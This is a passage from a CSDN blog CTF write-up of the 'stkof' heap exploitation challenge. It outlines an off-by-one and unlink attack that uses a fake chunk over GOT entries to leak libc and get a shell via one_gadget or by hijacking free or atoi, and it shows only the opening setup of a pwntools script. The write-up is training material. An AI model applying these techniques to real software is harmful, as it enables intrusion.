Pwn_Heap_Stkof

Stkof文章目录Stkof题目描述题目原理Exp题目描述同[[堆]]类型的题目基础的堆题目(创建、释放、修改)特征:带有off by one在写堆数据时题目原理利用unlink的套路,合并伪造size标志位使堆块提前向上合并将堆控制权提到系统数据可控制区域伪造fake_chunk填充got地址使得程序内部libc基地址泄露GetshellOneGadget,修改GOT指向的地址为OneGadget地址劫持Free劫持atoiExpExp使用了3种方法one_g
摘要由CSDN通过智能技术生成

Stkof

题目描述

同[[堆]]类型的题目
基础的堆题目(创建、释放、修改)
特征:带有off by one在写堆数据时

题目原理

  1. 利用unlink的套路,合并伪造size标志位使堆块提前向上合并
  2. 将堆控制权提到系统数据可控制区域
  3. 伪造fake_chunk填充got地址使得程序内部libc基地址泄露
  4. Getshell
    1. OneGadget,修改GOT指向的地址为OneGadget地址
    2. 劫持Free
    3. 劫持atoi

Exp

  1. Exp使用了3种方法
    1. one_gadget
    2. 劫持free、写/bin/sh到堆chunk内
    3. 劫持atoi,利用stdin直接将/bin/sh输入
#coding=utf8
from pwn import *
context.log_level = 'debug'
context(arch='amd64', os='linux')
p = process('./stkof')
elf = ELF('./stkof')
libc = elf.libc
sl = lambda s : p.sendline(s)
sd = lambda s : p.send(s)
rc = lambda n : p.recv(n)
ru = lambda s : p.recvuntil(s)
ti = lambda : p.interactive()
def bk(addr):
    gdb.attach(p,"b *"+str(hex(addr)))
def debug(addr,PIE=True):
    
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值